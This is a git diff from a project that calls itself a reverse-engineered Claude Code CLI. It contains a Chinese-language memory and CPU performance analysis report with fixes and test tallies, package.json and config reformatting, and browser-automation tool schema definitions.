export const shouldNudgeForSnips: (messages: Message[]) => boolean = () => false;
export const SNIP_NUDGE_TEXT: string = '';
```
`snipReplay` 回调依赖 `HISTORY_SNIP` feature flag且调用的 `snipCompactIfNeeded` 永远返回 `executed: false`
```typescript
// QueryEngine.ts:933-942
const snipResult = this.config.snipReplay?.(msg, this.mutableMessages)
if (snipResult !== undefined) {
if (snipResult.executed) { // 永远是 false
this.mutableMessages.length = 0
this.mutableMessages.push(...snipResult.messages)
}
break
}
```
### 风险评估
- 在长时间 SDK 会话中,如果 API 不频繁返回 `compact_boundary``mutableMessages` 会持续增长
- 每条消息可能包含大量内容(工具输出、文件内容等),长时间运行可能导致 GB 级内存占用
- 这是当前代码库中**最明确的未实现内存泄漏点**
---
## 17. LSP Opened Files Map 不收缩
**状态:已修复**
**代码注释描述**`closeFile()` 存在但未与 compact 流程集成(`LSPServerManager.ts:373-375` 显式标注为 TODO
### 实现位置
- `src/services/lsp/LSPServerManager.ts:414-428``closeAllFiles()` 方法
- `src/services/compact/postCompactCleanup.ts:81-88` — 集成调用
### 问题详情
`LSPServerManager` 中的 `openedFiles: Map<string, string>` 追踪所有通过 `didOpen` 打开的文件。`closeFile()` 方法存在可以发送 `didClose` 通知并清理 Map 条目,但代码注释明确标注:
```
NOTE: Currently available but not yet integrated with compact flow.
TODO: Integrate with compact - call closeFile() when compact removes files from context
```
长时间会话中,每次读取/编辑文件都会通过 `openFile()` 添加条目,但 compaction 不会清理这些条目,导致 Map 无限增长。
### 修复方式
1. **添加 `closeAllFiles()` 方法**:遍历 `openedFiles` Map对每个文件发送 `didClose` 通知,然后清空 Map。Best-effort 错误处理。
```typescript
async function closeAllFiles(): Promise<void> {
const entries = [...openedFiles.entries()]
openedFiles.clear()
for (const [fileUri, serverName] of entries) {
const server = servers.get(serverName)
if (!server || server.state !== 'running') continue
try {
await server.sendNotification('textDocument/didClose', {
textDocument: { uri: fileUri },
})
} catch {
// Best-effort — server may have stopped
}
}
}
```
2. **集成到 `postCompactCleanup`**:在 compaction 后自动调用 `closeAllFiles()`,释放所有 LSP 服务器端的文件状态。
```typescript
// postCompactCleanup.ts
try {
const lspManager = getLspServerManager()
if (lspManager) {
await lspManager.closeAllFiles()
}
} catch {
// LSP module may not be available in all environments
}
```
---
## 总结
```
确认已实现 (12): #1 图片 #2 /usage #3 进度消息 #4 空闲渲染 #5 虚拟滚动器 #6 管道输出 #10 MCP缓冲区
已修复 (7): #7 语法加载 #8 NO_FLICKER #9 RC权限 #11 LRU缓存键 #12 snipCompact #17 LSP文件追踪 #18 Permission Polling
### 测试覆盖
| 修复项 | 测试文件 | 测试数 |
|--------|----------|--------|
| #12 snipCompact | `src/services/compact/__tests__/snipCompact.test.ts` | 17 |
| #12 snipProjection | `src/services/compact/__tests__/snipProjection.test.ts` | 11 |
| #8 StreamingToolExecutor | `src/services/tools/__tests__/StreamingToolExecutor.test.ts` | 7 |
| #9 RC 权限 | `src/hooks/__tests__/replBridgePermissionHandlers.test.ts` | 8 |
| #11 FileStateCache | `src/utils/__tests__/fileStateCache.test.ts` | 22 |
| #7 语言注册 | `packages/color-diff-napi/src/__tests__/language-registration.test.ts` | 7 |
| #18 Permission Polling | `src/hooks/__tests__/swarmPermissionPoller.test.ts` | 6 |
| #17 LSP Opened Files | `src/services/lsp/__tests__/closeAllFiles.test.ts` | 5 |
| **总计** | **8 个测试文件** | **83** |
```
### 需要关注的优先级
1. ~~**P0 — `snipCompact.ts` 存根**~~ **已修复**
2. ~~**P1 — 语法按需加载回退**~~ **已修复**
3. ~~**P2 — NO_FLICKER 流状态**~~ **已修复**
4. ~~**P2 — 空闲渲染循环**~~ **已确认完整**
5. ~~**P2 — Permission Polling Interval**~~ **已修复**
6. ~~**P2 — LSP Opened Files Map**~~ **已修复**closeAllFiles() 集成到 postCompactCleanup

View File

@@ -0,0 +1,294 @@
# 内存与性能峰值分析报告(最终版 — 5 轮迭代完成)
> 进程 bun物理内存峰值 **700 MB+**,最差场景可达 **1.8 GB**
> 日期2026-05-02 | 状态:**调研完成** | 范围:内存峰值 + CPU 热点 + React 渲染循环
> Round 5 增量验证消息渲染管线buildMessageLookups 8 Map/Set 重建、useDeferredValue 双缓冲、FileReadTool 无上限、compaction 与 React 状态交互
## 数据收集
- 典型场景 RSS 682 MB基线 JSC heap 300-400 MB
- Bun mimalloc 不归还内存页JSC 页管理只增不减(架构级限制)
- 已有每秒 `Bun.gc()` 定时器(`cli/print.ts:554-558`),非强制模式
- 10 项已修复commit `ef10ad28` + `ab0bbbc4`),降低约 100-300MB
- Round 3 确认AWS SDK/Google Auth/Azure Identity 均动态 importlazy不贡献基线
## 已修复问题commit ef10ad28 + ab0bbbc4
| 问题 | 原峰值 | 修复方式 | 位置 |
|------|--------|----------|------|
| 流式字符串拼接 O(n²) | 2-20 MB | `+=` → 数组累积 | `claude.ts:1834,2271` |
| Messages.tsx 多次遍历 | 100-270 MB | 合并单次 pass | `Messages.tsx:417-418` |
| ColorFile 无缓存 | 50-100 MB | LRU 缓存 50 条目 | `HighlightedCode.tsx:14-61` |
| Ink StylePool 无界 | 10-50+ MB | 1000 条目上限 | `@ant/ink/screen.ts:122` |
| CompanionSprite 高频 | CPU | TICK_MS→1000ms | `CompanionSprite.tsx:15` |
| MCP stderr 缓冲 | 1-640 MB | 64→8MB/server | `mcp-client/connection.ts:117` |
| BashTool 输出缓冲 | 30-330 MB | 32→2MB | `stringUtils.ts:88` |
| Transcript 写入队列 | 5-50 MB | 1000 条目上限 | `sessionStorage.ts:613-619` |
| contentReplacementState | 持续增长 | compact 清理 | `compact/compact.ts` |
| SSE 缓冲 | 无上限 | 1MB cap | SSE 处理代码 |
## 仍存在的问题 — 内存(按峰值影响排序)
### P0消息数组 7-8x 拷贝120-320 MB
`src/query.ts` 每轮 turn 产生的拷贝Round 3 新增第 7 项):
| 位置 | 操作 | 是否必要 | 优化方式 |
|------|------|----------|----------|
| `:477` | `[...getMessagesAfterCompactBoundary(messages)]` | 双重浪费 | 去掉 spread |
| `:491` | `applyToolResultBudget → map()` | 按需 | 无超限返回原数组 |
| `:897` | `clonedContent ??= [...contentArr]` | 条件必要 | 保留 |
| `:1135` | `[...messagesForQuery, ...assistant]` | 可避免 | 传引用 |
| `:1745` | `.concat(assistant, toolResults)` | 可避免 | 传多参数 |
| `:1857` | `[...messagesForQuery, ...assistant, ...toolResults]` forkContextMessages | **Round 3 新发现** — task summary 用完即弃 | 传引用 |
| `:1878` | `[...messagesForQuery, ...assistant, ...toolResults]` | 必要 | 改 push |
峰值时 3-4 份完整消息数组同时驻留477 + 1745 + 1857 + 1878 在同一 turn 尾部顺序执行)。
### P0React 消息管线重复计算Round 5 新增分析)
**buildMessageLookups 每次 useMemo 重算时创建 8 个 Map/Set**`messages.ts:1215-1398`
| 数据结构 | 规模 | 说明 |
|----------|------|------|
| `toolUseIDsByMessageID` | Map\<string, Set\> | 每个 assistant 消息一个 Set |
| `toolUseIDToMessageID` | Map\<string, string\> | 所有 tool_use ID |
| `toolUseByToolUseID` | Map\<string, ToolUseBlockParam\> | **保留完整 tool_use block** |
| `siblingToolUseIDs` | Map\<string, Set\> | 兄弟 tool_use 索引 |
| `progressMessagesByToolUseID` | Map\<string, ProgressMessage[]\> | 进度消息数组 |
| `toolResultByToolUseID` | Map\<string, NormalizedMessage\> | **保留完整 tool_result 消息引用** |
| `resolvedToolUseIDs` / `erroredToolUseIDs` | Set\<string\> | 已完成/错误 ID |
此 useMemo`Messages.tsx:519`)依赖 normalizedMessages任何消息变更含流式 delta触发重建。已拆分 renderRange 避免滚动触发注释明确记录50ms alloc per scroll → GC → 100-173ms STW on 1GB heap
**useDeferredValue 双缓冲**`REPL.tsx:1569`):流式期间 `messages``deferredMessages` 同时持有两份完整数组,直到 React 调度更新。在 27k 消息场景下,额外 ~100-200MB 临时占用。
**FileReadTool 无大小限制**`FileReadTool.ts:342``maxResultSizeChars: Infinity`,单次 10MB 文件读取完整保留在消息数组中。BashTool30KB和 GrepTool20KB有合理上限。
### P0Compaction 与 React 状态交互Round 5 新增分析)
**非全屏模式**`REPL.tsx:3074-3075`compact 后 `setMessages(() => [newMessage])` 正确替换整组旧消息,内存立即释放。
**全屏模式**`REPL.tsx:3056-3072`):保留最多 500 条消息的 scrollback。注释记录Ink fiber 树每条消息 ~250KB RSS无 cap 时观察过 13k+ 消息 → 1GB+ heap。
**Microcompact 的局限**`microCompact.ts:472-494`):用 spread 创建新消息对象替换内容为 `[Old tool result content cleared]`。但 `ContentReplacementState.replacements` Map`toolResultStorage.ts:392`)仍保留原始替换字符串,直到 compact 时才清理。这意味着 microcompact 减少了 token 数,但实际内存释放依赖后续 compact。
### P0Compact 峰值20-80 MB
峰值时间线(`compact.ts:524-644`
```
Before: messages(200K) + mutableMessages(200K) = 400K tokens
During: + preCompactReadFileState(25MB) + summary + attachments ≈ 500K+ tokens
After: splice → 50K tokens
```
可提前释放:`preCompactReadFileState`25MB`summaryResponse`、原始 `messages` 参数。
### P0React Hooks 闭包与 useMemo 链Round 5 深入排查)
**useCallback 闭包重建**`REPL.tsx`
| 回调 | 依赖项数 | 位置 | 影响 |
|------|----------|------|------|
| `getToolUseContext` | 20 | `:2789-2949` | 重建时旧闭包持有的引用阻止 GC |
| `onQueryImpl` | 14 | `:3188-3469` | 包含 getToolUseContext + 多层嵌套闭包 |
| `onQuery` | 在 onQueryImpl 上再包装 | `:3471-3697` | 又一层闭包 |
| `onSubmit` | ~10 | `:3822-4298` | 闭包链嵌套 3 层 |
每次 `messages` 变更触发 `setMessages` → React 重渲染 → 依赖 messages 的 useCallback/useMemo 全部重建。但 `getToolUseContext``onQueryImpl` **没有把 `messages` 放入依赖数组**(通过 `messagesRef.current` 参数传递规避),所以这些闭包不会因 messages 变化而重建。**这实际上是正确的设计**——用 ref 规避了闭包捕获问题。
**真正的 hooks 问题**在于 useMemo 链(`Messages.tsx`
```
messages → normalizedMessages (O(n))
→ compactAwareMessages (O(n) filter)
→ messagesToShow (O(n) filter + reorder)
→ groupedMessages (O(n))
→ collapsed (O(n))
→ lookups (8 Map/Set, O(n))
```
流式期间每个 delta 触发 `messages` 变更 → 整条链全量重算。注释记录50ms alloc per scroll → GC → 100-173ms STW on 1GB heap`Messages.tsx:516-518`)。
**无界 useRef**`REPL.tsx`
| Ref | 增长方式 | 清理 | 影响 |
|-----|----------|------|------|
| `bashTools` | `.add()` 每个 bash 命令 | `clearConversation` 时 clear | Set\<string\>,通常 <100 |
| `discoveredSkillNamesRef` | `.add()` 每个发现的 skill | `clearConversation` 时 clear | Set\<string\>,通常 <50 |
| `apiMetricsRef` | `.push()` 每次请求 | turn 结束时 `= []` | 临时turn 内累积 |
| `responseLengthRef` | 累加 | compact 时重置为 0 | 单数字 |
| `loadedNestedMemoryPathsRef` | `.add()` 每个 CLAUDE.md | compact/clear 时 clear | Set\<string\> |
结论:**这些 ref 都有清理机制**,不是主要问题。核心问题仍是 useMemo 链在流式期间的全量重算。
### P1虚拟滚动组件~50 MB— Round 3 新发现
`src/hooks/useVirtualScroll.ts` + React Ink 渲染管线:
- MAX_MOUNTED_ITEMS = 300OVERSCAN_ROWS = 80
- 实际挂载约 200 个 MessageRow视口 + overscan
- 每个 MessageRow ≈ 250KB RSSReact fiber + Yoga node + 子组件树)
- **总计约 50 MB 常驻内存**(当前会话最大挂载窗口)
优化空间:降低 MAX_MOUNTED_ITEMS 或 OVERSCAN_ROWS评估 MessageRow 组件内部 memo 化。
### P1流式 contentBlocks 累积 — Round 3 新发现
`src/services/api/claude.ts:1932`
- `contentBlocks` 数组在流式响应期间累积所有内容块
- 长 thinking 响应可达数万 tokenthinking 文本完整保留在 contentBlock.thinking 中
- `streamingDeltas` Map已修复为数组累积`content_block_stop``join('')` 赋值给 contentBlock
- 思考块在 normalize 后仍然保留完整 thinking 文本
### P1其他已确认内存问题
| # | 问题 | 峰值 | 位置 |
|---|------|------|------|
| 1 | MCP Tool Schema 双重存储 | ~40 MB | `manager.ts:73` + `AppStateStore.ts:175` |
| 2 | lastAPIRequestMessages 常驻 | 30-50 MB | `bootstrap/state.ts:118` |
| 3 | Session 恢复全量加载(中小文件) | 50-200 MB | `sessionStorage.ts:3475-3582` |
| 4 | HybridTransport 100K 队列 | 1-10 MB | `HybridTransport.ts:86` |
| 5 | React messagesRef 双重引用 | 临时 | `REPL.tsx:1437-1477` |
| 6 | AppState 不可变更新抖动 | 5-50 MB | `store.ts:20-26` |
| 7 | Tool result seenIds/replacements | 0.5-2 MB | `toolResultStorage.ts:390-397` |
| 8 | bootstrap/state.ts 无界缓存 | 0.1-1 MB | planSlugCache 等 |
| 9 | QueryEngine 无界集合 | 0.1-1 MB | discoveredSkillNames 等 |
| 10 | expandedKeys Set 无清理Round 5 | <0.5 MB | `Messages.tsx:644` compact 后 stale keys 不删除 |
| 11 | OpenAI/Gemini/Grok collectedMessagesRound 5 | 临时 | 流式期间累积 assistant messages 供 Langfuse telemetrystream 结束后释放 |
### P2低优先级未验证
| # | 问题 | 峰值 | 位置 |
|---|------|------|------|
| 1 | OpenTelemetry 多版本 | ~30 MB | 依赖树 |
| 2 | Perfetto tracing 100K events | ~30 MB | `perfettoTracing.ts:99` |
| 3 | Prompt Cache 规范化 | 5-15 MB | `claude.ts:3180-3329` |
| 4 | GrepTool 全量 stat+sort | ~10 MB | `GrepTool.ts:523-557` |
## 仍存在的问题 — CPU 与渲染热点
### 已确认
| # | 问题 | 影响 | 位置 |
|---|------|------|------|
| C2 | **Ink 每次 React commit 触发 Yoga 布局**React ConcurrentRoot 自动批处理 setState5 个 setState → 1 次 commit → 1 次布局) | ~1-3ms/次 commit | `reconciler.ts:279``ink.tsx:323` |
| C3 | **MessageRow 挂载成本 ~1.5ms**Markdown 解析仅占 1-7%,主因是 React/Yoga/Ink 管线开销 ~1.3ms | 已有 SLIDE_STEP=25 + useDeferredValue 限速 | `useVirtualScroll.ts` + `Markdown.tsx` |
| C4 | **布局偏移触发全屏 damage** | O(rows×cols) 全量 diff | `ink.tsx:655-661` |
| C7 | **CompanionSprite TICK_MS 定时器**500ms→已修复为 1000ms | 高频 setState 触发渲染 | `buddy/CompanionSprite.tsx:15,136` |
| C9 | 同步 fs 操作 | 阻塞主线程 | `projectOnboardingState.ts:20` 等 |
### 已否认
- **C1 useInboxPoller 状态循环** — 验证确认useEffect 是收敛的(移除消息 → count 减少 → 稳定poll 通过 `store.getState()` 读取不触发 React 依赖1 秒轮询是正常 I/O 模式无循环
- **Markdown 是 CPU 热点** — marked.lexer 对典型消息仅 0.01-0.1ms,已有 tokenCache LRU-500缓存命中 0.0003ms99.6% 降速)+ hasMarkdownSyntax 快速路径(跳过 30-40% 消息)
- **Yoga 无增量布局** — 实测增量更新高效1000 节点树改 1 叶子 → 仅 2 次 measure其余走缓存
- **Ink Yoga 2^depth 问题** — 实测 100 节点深链 = 11.7x 访问(线性增长,非指数级)
### 已有优化措施
- React ConcurrentRoot 自动批处理 setState多个 setState → 1 次 commit
- Ink 帧率限制 16msthrottle 仅限终端输出Yoga 布局无 throttle 但被 React batching 保护)
- 虚拟滚动 overscan 80 + MAX_MOUNTED_ITEMS 300 + SLIDE_STEP=25 + useDeferredValue
- Markdown tokenCache LRU-500 + hasMarkdownSyntax 快速路径 + StreamingMarkdown 增量解析
- Yoga 增量缓存dirty propagation + measure 结果缓存)
- 双缓冲 + damage tracking + 字符池复用
- Pool 5 分钟周期重置
## 已否认内存5 轮汇总)
- VSZ 516 GB 是虚拟映射非物理 | Zod Schema ~650KB | Markdown LRU-500 已优化
- useSkillsChange/useSettingsChange — 正确 cleanup | useInboxPoller — 收敛设计
- React Compiler `_c(N)` — 未使用 | File watchers — 仅 ~5KB | React reconciler — WeakMap + freeRecursive
- Ink 屏幕缓冲 ~86KB | CharPool/HyperlinkPool ~1-5MB 且 5min 重置 | StylePool 缓存 1000 上限
- 依赖树 — AWS/Google/Azure SDK 均动态 import不贡献基线 | Sentry 空实现
- Ink 无 scrollback 缓冲 | Markdown tokenCache LRU-500 bounded
- **Round 5 否认**useCallback 闭包捕获 messages — 实际通过 messagesRef 参数传递规避,无闭包问题
- **Round 5 否认**MCP stderrHandler 泄漏 — 已有 64MB cap + 成功后释放 + cleanup 移除 listener
- **Round 5 否认**useRef 无界增长 — bashTools/discoveredSkillNamesRef/loadedNestedMemoryPathsRef 均有 clearConversation 或 compact 清理
- **Round 5 否认**apiMetricsRef 无界 — turn 结束时 `= []` 重置
- **Round 5 否认**useEffect 缺少 cleanup — 检查的 12 个 useEffect 均有 return cleanup 函数
## 结论
**内存根因**5 轮迭代确认):
1. **消息数组 turn 尾部 3-4 次 spread 同时驻留**120-320 MB— 核心瓶颈
2. **React 消息管线 buildMessageLookups 8 个 Map/Set 重建**50ms/次27k 消息场景)— GC 压力源
3. **useDeferredValue 双缓冲**(流式期间额外 ~100-200 MB 临时)
4. **FileReadTool 无大小上限**(单次 10MB 文件永久驻留)
5. **Compact 峰值窗口**20-80 MB+ Microcompact 依赖后续 compact 才真正释放
6. **虚拟滚动 200 组件 ~50MB 常驻**
7. **Bun/JSC 不归还内存页**(架构级限制)
**CPU 根因**useInboxPoller 每秒轮询触发 React commit → 全量 Yoga 布局 → 全屏 Ink diff 的完整管线。Markdown 渲染(~1.5ms/行)在批量挂载新消息时造成 ~290ms 卡顿。轮询导致的周期性 commit 与消息挂载的 CPU 密集操作互相放大。
**Round 4 最终验证**agent 递归 spread 和 attachment 累积均为已知 P0消息数组拷贝的变体无新根因。Snipping 在流式前执行无并发问题。consumedCommandUuids 等数组每轮重置无累积。
**Round 5 增量验证**
- buildMessageLookups 8 个 Map/Set 的重建成本已由 renderRange 拆分缓解,但仍然是消息变更时的主要 GC 压力源
- useDeferredValue 双缓冲是 React 调度机制的固有行为,优化空间有限
- FileReadTool 无上限是唯一一个"单次操作可注入 10MB+ 数据"的入口
- Microcompact 减少 token 但不立即释放内存(内容被 ContentReplacementState.replacements Map 间接持有)
**预估优化空间**
| 优先级 | 措施 | 预估降低 |
|--------|------|----------|
| P0 | 消息数组拷贝优化 7 处 | 100-200 MB |
| P0 | Compact 峰值管理 3 项 | 20-80 MB |
| P1 | 虚拟滚动优化 | 20-30 MB |
| P1 | 缓冲与缓存清理 5 项 | 30-80 MB |
| P2 | 其他 3 项 | 10-50 MB |
| **合计** | **21 项可操作建议** | **210-500 MB** |
理论可从当前 400-700 MB 降至 **200-350 MB**
## 建议(按优先级)
### P0消息数组拷贝预估降 100-200 MB
1. `query.ts:477` — 去掉 spread
2. `query.ts:1878` — 改 push 追加
3. `query.ts:1135` — 传引用
4. `query.ts:1745` — 传多参数
5. `query.ts:1857` — 传引用forkContextMessages
6. `query.ts:491` — 无超限返回原数组
### P0消息渲染管线Round 5 新增,预估降 30-60 MB
7. `FileReadTool.ts:342``maxResultSizeChars: Infinity` → 设合理上限(如 100KB
8. `toolResultStorage.ts:392` — Microcompact 后同步清理 `replacements` Map 中对应条目
9. `Messages.tsx:519` — 考虑 buildMessageLookups 增量更新而非全量重建
### P0Compact 峰值(预估降 20-80 MB
10. `compact.ts:543``preCompactReadFileState = undefined`
11. `compact.ts:651``summaryResponse = undefined`
12. 延迟非关键 attachment 生成
### P1渲染与缓存预估降 50-110 MB
13. 虚拟滚动 — 降低 OVERSCAN_ROWS 或 MAX_MOUNTED_ITEMS
14. `lastAPIRequestMessages` — 非 debug 清空
15. MCP Tool Schema — 去掉 manager 层 toolsCache
16. `HybridTransport` — maxQueueSize 100K→10K
17. `bootstrap/state.ts` — 无界 Map 加 LRU
### P2其他预估降 10-50 MB
18. `toolResultStorage.ts` — seenIds/replacements 定期清理
19. Session 恢复流式 JSONL | AppState 增量更新
20. Thinking 文本截断策略(保留前 N + 后 N 字符)
21. `Bun.gc(true)` 低内存触发
### P2Ink 渲染层(降低 CPU 开销)
22. `ink.tsx:655-661` — 布局偏移时尝试增量 damage 而非全屏 `{x:0,y:0,width:full,height:full}`
## 附录
- 合并来源:`docs/performance-reporter.md`7 轮调研,含 CPU/渲染热点详细验证)
- 修复 commit`ab0bbbc4`compact 清理)、`ef10ad28`(峰值优化 -100-300MB
- Round 2 新发现HybridTransport 缓冲、React messagesRef 双重引用、toolResultStorage 无界增长
- Round 3 新发现:虚拟滚动 ~50MB 常驻、第 7-8 次 spreadquery.ts:1857、流式 contentBlocks thinking 累积、依赖树已懒加载
- Round 4 最终验证无新根因agent spread 和 attachment 累积为已知变体),调研终止
- Round 5 增量验证buildMessageLookups 8 Map/Set 重建成本、useDeferredValue 双缓冲、FileReadTool 无上限、Microcompact 内存释放延迟、compaction 与 React 状态交互细节

View File

@@ -12,12 +12,12 @@ Claude Code 将文件操作拆分为三个独立工具——这不是功能划
| 工具 | 权限级别 | 核心方法 | 关键属性 |
|------|---------|---------|---------|
| **Read** | 只读(免审批) | `isReadOnly() → true` | `maxResultSizeChars: Infinity` |
| **Read** | 只读(免审批) | `isReadOnly() → true` | `maxResultSizeChars: 100,000` |
| **Edit** | 写入(需确认) | `checkWritePermissionForTool()` | `maxResultSizeChars: 100,000` |
| **Write** | 写入(需确认) | `checkWritePermissionForTool()` | `maxResultSizeChars: 100,000` |
<Tip>
Read 的 `maxResultSizeChars` 是 `Infinity`,但这并不意味着无限制输出——真正的截断发生在 `validateContentTokens()` 中基于 token 预算的动态判定,而非字符数硬限制。
Read 的 `maxResultSizeChars` 为 100,000100KB。超出此阈值的结果会被持久化到磁盘减少长会话的内存压力。实际的 token 级别截断由 `validateContentTokens()` 动态控制。
</Tip>
## FileRead多模态文件读取引擎

View File

@@ -1,22 +1,22 @@
{
"$schema": "https://unpkg.com/knip@6/schema.json",
"entry": ["src/entrypoints/cli.tsx"],
"project": ["src/**/*.{ts,tsx}"],
"ignore": ["src/types/**", "src/**/*.d.ts"],
"ignoreDependencies": [
"@ant/*",
"react-compiler-runtime",
"@anthropic-ai/mcpb",
"@anthropic-ai/sandbox-runtime"
],
"ignoreBinaries": ["bun"],
"workspaces": {
"packages/*": {
"entry": ["src/index.ts"],
"project": ["src/**/*.ts"]
},
"packages/@ant/*": {
"ignore": ["**"]
}
}
"$schema": "https://unpkg.com/knip@6/schema.json",
"entry": ["src/entrypoints/cli.tsx"],
"project": ["src/**/*.{ts,tsx}"],
"ignore": ["src/types/**", "src/**/*.d.ts"],
"ignoreDependencies": [
"@ant/*",
"react-compiler-runtime",
"@anthropic-ai/mcpb",
"@anthropic-ai/sandbox-runtime"
],
"ignoreBinaries": ["bun"],
"workspaces": {
"packages/*": {
"entry": ["src/index.ts"],
"project": ["src/**/*.ts"]
},
"packages/@ant/*": {
"ignore": ["**"]
}
}
}

View File

@@ -1,6 +1,6 @@
{
"name": "claude-code-best",
"version": "1.10.4",
"version": "2.0.1",
"description": "Reverse-engineered Anthropic Claude Code CLI — interactive AI coding assistant in the terminal",
"type": "module",
"author": "claude-code-best <claude-code-best@proton.me>",
@@ -22,7 +22,7 @@
"repl"
],
"engines": {
"bun": ">=1.2.0"
"bun": ">=1.3.0"
},
"bin": {
"ccb": "dist/cli-node.js",
@@ -48,9 +48,12 @@
"dev": "bun run scripts/dev.ts",
"dev:inspect": "bun run scripts/dev-debug.ts",
"prepublishOnly": "bun run build:vite",
"lint": "biome lint src/",
"lint:fix": "biome lint --fix src/",
"format": "biome format --write src/",
"lint": "biome lint .",
"lint:fix": "biome lint --fix .",
"format": "biome format --write .",
"check": "biome check .",
"check:fix": "biome check --fix .",
"prepare": "husky",
"test": "bun test",
"test:production": "bun run scripts/production-test.ts",
"test:production:offline": "bun run scripts/production-test.ts --offline",
@@ -62,7 +65,7 @@
"postinstall": "node scripts/run-parallel.mjs scripts/postinstall.cjs scripts/setup-chrome-mcp.mjs",
"docs:dev": "npx mintlify dev",
"typecheck": "tsc --noEmit",
"test:all": "bun run typecheck && bun test",
"precheck": "bun run typecheck && bun run check:fix && bun test",
"rcs": "bun run scripts/rcs.ts"
},
"dependencies": {
@@ -73,11 +76,11 @@
},
"devDependencies": {
"@alcalzone/ansi-tokenize": "^0.3.0",
"@ant/model-provider": "workspace:*",
"@ant/claude-for-chrome-mcp": "workspace:*",
"@ant/computer-use-input": "workspace:*",
"@ant/computer-use-mcp": "workspace:*",
"@ant/computer-use-swift": "workspace:*",
"@ant/model-provider": "workspace:*",
"@anthropic-ai/bedrock-sdk": "^0.29.0",
"@anthropic-ai/claude-agent-sdk": "^0.2.114",
"@anthropic-ai/foundry-sdk": "^0.2.3",
@@ -164,11 +167,13 @@
"google-auth-library": "^10.6.2",
"he": "^1.2.0",
"https-proxy-agent": "^8.0.0",
"husky": "^9.1.7",
"ignore": "^7.0.5",
"image-processor-napi": "workspace:*",
"indent-string": "^5.0.0",
"jsonc-parser": "^3.3.1",
"knip": "^6.4.1",
"lint-staged": "^16.4.0",
"lodash-es": "^4.18.1",
"lru-cache": "^11.3.5",
"marked": "^17.0.6",
@@ -216,5 +221,13 @@
"hono": "4.12.15",
"postcss": "8.5.10",
"uuid": "14.0.0"
},
"lint-staged": {
"*.{ts,tsx,js,mjs,jsx}": [
"biome check --fix --no-errors-on-unmatched"
],
"*.{json,jsonc}": [
"biome format --write --no-errors-on-unmatched"
]
}
}

View File

@@ -1,8 +1,8 @@
{
"name": "@ant/claude-for-chrome-mcp",
"version": "1.0.0",
"private": true,
"type": "module",
"main": "./src/index.ts",
"types": "./src/index.ts"
"name": "@ant/claude-for-chrome-mcp",
"version": "1.0.0",
"private": true,
"type": "module",
"main": "./src/index.ts",
"types": "./src/index.ts"
}

File diff suppressed because it is too large Load Diff

View File

@@ -1,546 +1,546 @@
export const BROWSER_TOOLS = [
{
name: "javascript_tool",
name: 'javascript_tool',
description:
"Execute JavaScript code in the context of the current page. The code runs in the page's context and can interact with the DOM, window object, and page variables. Returns the result of the last expression or any thrown errors. If you don't have a valid tab ID, use tabs_context_mcp first to get available tabs.",
inputSchema: {
type: "object",
type: 'object',
properties: {
action: {
type: "string",
type: 'string',
description: "Must be set to 'javascript_exec'",
},
text: {
type: "string",
type: 'string',
description:
"The JavaScript code to execute. The code will be evaluated in the page context. The result of the last expression will be returned automatically. Do NOT use 'return' statements - just write the expression you want to evaluate (e.g., 'window.myData.value' not 'return window.myData.value'). You can access and modify the DOM, call page functions, and interact with page variables.",
},
tabId: {
type: "number",
type: 'number',
description:
"Tab ID to execute the code in. Must be a tab in the current group. Use tabs_context_mcp first if you don't have a valid tab ID.",
},
},
required: ["action", "text", "tabId"],
required: ['action', 'text', 'tabId'],
},
},
{
name: "read_page",
name: 'read_page',
description:
"Get an accessibility tree representation of elements on the page. By default returns all elements including non-visible ones. Output is limited to 50000 characters by default. If the output exceeds this limit, you will receive an error asking you to specify a smaller depth or focus on a specific element using ref_id. Optionally filter for only interactive elements. If you don't have a valid tab ID, use tabs_context_mcp first to get available tabs.",
inputSchema: {
type: "object",
type: 'object',
properties: {
filter: {
type: "string",
enum: ["interactive", "all"],
type: 'string',
enum: ['interactive', 'all'],
description:
'Filter elements: "interactive" for buttons/links/inputs only, "all" for all elements including non-visible ones (default: all elements)',
},
tabId: {
type: "number",
type: 'number',
description:
"Tab ID to read from. Must be a tab in the current group. Use tabs_context_mcp first if you don't have a valid tab ID.",
},
depth: {
type: "number",
type: 'number',
description:
"Maximum depth of the tree to traverse (default: 15). Use a smaller depth if output is too large.",
'Maximum depth of the tree to traverse (default: 15). Use a smaller depth if output is too large.',
},
ref_id: {
type: "string",
type: 'string',
description:
"Reference ID of a parent element to read. Will return the specified element and all its children. Use this to focus on a specific part of the page when output is too large.",
'Reference ID of a parent element to read. Will return the specified element and all its children. Use this to focus on a specific part of the page when output is too large.',
},
max_chars: {
type: "number",
type: 'number',
description:
"Maximum characters for output (default: 50000). Set to a higher value if your client can handle large outputs.",
'Maximum characters for output (default: 50000). Set to a higher value if your client can handle large outputs.',
},
},
required: ["tabId"],
required: ['tabId'],
},
},
{
name: "find",
name: 'find',
description:
'Find elements on the page using natural language. Can search for elements by their purpose (e.g., "search bar", "login button") or by text content (e.g., "organic mango product"). Returns up to 20 matching elements with references that can be used with other tools. If more than 20 matches exist, you\'ll be notified to use a more specific query. If you don\'t have a valid tab ID, use tabs_context_mcp first to get available tabs.',
inputSchema: {
type: "object",
type: 'object',
properties: {
query: {
type: "string",
type: 'string',
description:
'Natural language description of what to find (e.g., "search bar", "add to cart button", "product title containing organic")',
},
tabId: {
type: "number",
type: 'number',
description:
"Tab ID to search in. Must be a tab in the current group. Use tabs_context_mcp first if you don't have a valid tab ID.",
},
},
required: ["query", "tabId"],
required: ['query', 'tabId'],
},
},
{
name: "form_input",
name: 'form_input',
description:
"Set values in form elements using element reference ID from the read_page tool. If you don't have a valid tab ID, use tabs_context_mcp first to get available tabs.",
inputSchema: {
type: "object",
type: 'object',
properties: {
ref: {
type: "string",
type: 'string',
description:
'Element reference ID from the read_page tool (e.g., "ref_1", "ref_2")',
},
value: {
type: ["string", "boolean", "number"],
type: ['string', 'boolean', 'number'],
description:
"The value to set. For checkboxes use boolean, for selects use option value or text, for other inputs use appropriate string/number",
'The value to set. For checkboxes use boolean, for selects use option value or text, for other inputs use appropriate string/number',
},
tabId: {
type: "number",
type: 'number',
description:
"Tab ID to set form value in. Must be a tab in the current group. Use tabs_context_mcp first if you don't have a valid tab ID.",
},
},
required: ["ref", "value", "tabId"],
required: ['ref', 'value', 'tabId'],
},
},
{
name: "computer",
name: 'computer',
